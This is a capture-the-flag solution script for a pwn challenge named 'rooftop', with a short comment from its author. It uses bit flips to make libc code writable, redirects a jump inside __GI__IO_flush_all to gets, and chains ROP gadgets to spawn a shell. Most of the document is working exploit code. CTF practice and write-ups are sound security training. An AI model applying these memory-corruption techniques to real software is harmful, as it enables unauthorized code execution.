"""
use the first bit flip to change the permissions of the .text section from RX to RWX, now the next 9 bitflips can edit the code of any function.
for that, i stepped through all the code that gets run during exit (io cleanup, dl fini, exit handlers etc etc), and looked at every relative jump the program makes (je, jne etc etc). looking for one where A) i could bit-flip the jump from whatever it currently was to gets and B) RDI was a stack address, resulting in us calling gets(stack_address) letting us ROP to a shell. the one i used was this:
0x8975d <__GI__IO_flush_all+749>:    jne    0x894f0 <__GI__IO_flush_all+128>

which gets bitflipped to this:
0x7661f768275d <__GI__IO_flush_all+749>:    jne    0x7661f76746b4 <_IO_gets+4>

- corgo
"""

#!/usr/bin/env python3

from dog import *

# disable checksec hack
from functools import partial
ELF = partial(ELF, checksec=False)

exe = ELF("./rooftop")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
global p

def conn():
    if args.LOCAL:
        if args.GDB:
            p = gdb.debug([exe.path],gdbscript='''
b main
c
b *_IO_flush_all+746
c
''')
        else:
            p = process([exe.path])
    else:
        p = remote("chall.polygl0ts.ch",6008)
        if args.POW: do_pow(p)
    if args.RERUN:
        sys.excepthook = rerun(p)
    return p


def shoot(where, what):
    p.sl(hex(where))
    p.sl(hex(what))

def flip(where, bit):
    actual_offset = where + (bit >> 3)
    actual_bit = bit & 7
    shoot(actual_offset, actual_bit)



def patch(where, current_val, target_val):
    diff = current_val ^ target_val
    n = 0
    for bit_index in range(diff.bit_length()):
        if (diff >> bit_index) & 1:
            n += 1
            flip(where, bit_index)
    return n

def main():
    global p
    p = conn()

    p.s(b"A" * 7)

    x = 0xec
    y = 1
    p.sla(b"X coordin", hex(x).encode())
    p.sla(b"Y coordin", hex(y).encode())

    p.sa(b"SHOOT?", b"a")

    p.s(b"A" * 4)

    p.s('j'); p.s('k'); p.s('l')
    p.ru(b'symbols.>')
    libc.address = u64(p.recvn(8)) - libc.sym['read']
    p.recvn(1)
    ld.address = u64(p.recvn(8)) - ld.sym['_rtld_local']
    logx(libc.address,ld.address)
    p.s('m'); p.s('n'); p.s('o')

    laddr = ld.address + 0x372e0

    # curr = m12(exe.address)
    # what = (exe.sym['_fini'] - exe.sym['main'])
    # logx(curr,what)

    patch(libc.sym['__GI__IO_flush_all']+751, 0xfffffd8d, 0xffff1f4d+4)
    # shoot(libc.sym['__pthread_keys'],1)

    # for _ in range(1):
    #     shoot(libc.sym['__pthread_keys'],1)
    r = ROP([libc,ld])
    r.raw(r.find_gadget(["ret"])[0])
    r.system(libc.binsh)

    p.sl(cyclic(8)+r.chain())
    # print(p.recvn(40))
    
    p.interactive() # PLIMB's up!q
    
if __name__ == "__main__":
    main()
